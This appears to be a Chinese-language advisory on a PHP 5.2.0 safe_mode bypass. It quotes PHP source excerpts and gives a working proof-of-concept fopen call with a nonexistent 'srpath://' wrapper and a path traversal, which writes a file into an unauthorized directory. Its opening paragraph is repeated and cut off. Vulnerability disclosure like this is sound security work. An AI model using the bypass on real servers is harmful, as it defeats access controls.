PHP是一款开放源代码的网络编程语言。 PHP存在安全模式绕过问题,远程攻击者可以利用漏洞写文件到其他未授权位置,建立文件并执行。 在PHP 5.2.0中可使用写模式绕过safe_mode,fopen()函数描述如下: - -845-845--- Code from PHP520 ext/standard/file.c [START] stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context); - -845-845--- Code from PHP520 ext/standard/file.c [END] 再看safe_mode.c - -142-152--- Code from main/safe_mode.c [START] ret = VCWD_STAT(path, &sb); if (ret < 0) { if ((flags & CHECKUID_NO_ERRORS) == 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename); } return 0; } duid = sb.st_uid; dgid = sb.st_gid; if (duid == php_getuid()) { return 1; - -142-152--- Code from main/safe_mode.c [END] 如果duid == php_getuid(), safe_mode将被绕过。 #define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC) 这里查看virtual_stat()函数: - -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START] CWD_API int virtual_stat(const char *path, struct stat *buf...
PHP是一款开放源代码的网络编程语言。 PHP存在安全模式绕过问题,远程攻击者可以利用漏洞写文件到其他未授权位置,建立文件并执行。 在PHP 5.2.0中可使用写模式绕过safe_mode,fopen()函数描述如下: - -845-845--- Code from PHP520 ext/standard/file.c [START] stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context); - -845-845--- Code from PHP520 ext/standard/file.c [END] 再看safe_mode.c - -142-152--- Code from main/safe_mode.c [START] ret = VCWD_STAT(path, &sb); if (ret < 0) { if ((flags & CHECKUID_NO_ERRORS) == 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename); } return 0; } duid = sb.st_uid; dgid = sb.st_gid; if (duid == php_getuid()) { return 1; - -142-152--- Code from main/safe_mode.c [END] 如果duid == php_getuid(), safe_mode将被绕过。 #define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC) 这里查看virtual_stat()函数: - -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START] CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC) { cwd_state new_state; int retval; CWD_STATE_COPY(&new_state, &CWDG(cwd)); if (virtual_file_ex(&new_state, path, NULL, 1)) { return -1; } retval = stat(new_state.cwd, buf); CWD_STATE_FREE(&new_state); return retval; } - -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END] 我们尝试写入文件/dir/pliczek. cxib# uname -a FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007 root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64 cxib# php -r 'fopen("/dir/pliczek", "a");' Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not allowed to access /dir owned by uid 80 in Command line code on line 1 Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on line 1 cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek", "a");' Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not allowed to access /dir owned by uid 80 in Command line code on line 1 Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream: Invalid argument in Command line code on line 1 cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' cxib# ls -la /dir/pliczek - -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek srpath不存在,如果使用写模式那么safe_mode更改文件路径并使duid == php_getuid()。 如 fopen("compress.zlib://../../../../../../../dir/pliczek", "a"); Safe_mode移去前缀并VCWD_STAT("/dir/pliczek", &sb);由于在"/dir"目录中建立"pliczek"文件,那么就只对"dir"权限进行检查。 如果使用: fopen("srpath://../../../../../../../dir/pliczek", "a"); srpath不存在,函数stat为 VCWD_STAT("/dir_wher_are_you/srpath:", &sb) return 1. 那么stat()从dir "/dir_wher_are_you/"中给定权限。 PHP PHP 5.2 目前没有解决方案提供,请关注以下链接: <a href="http://www.php.net/" target="_blank">http://www.php.net/</a>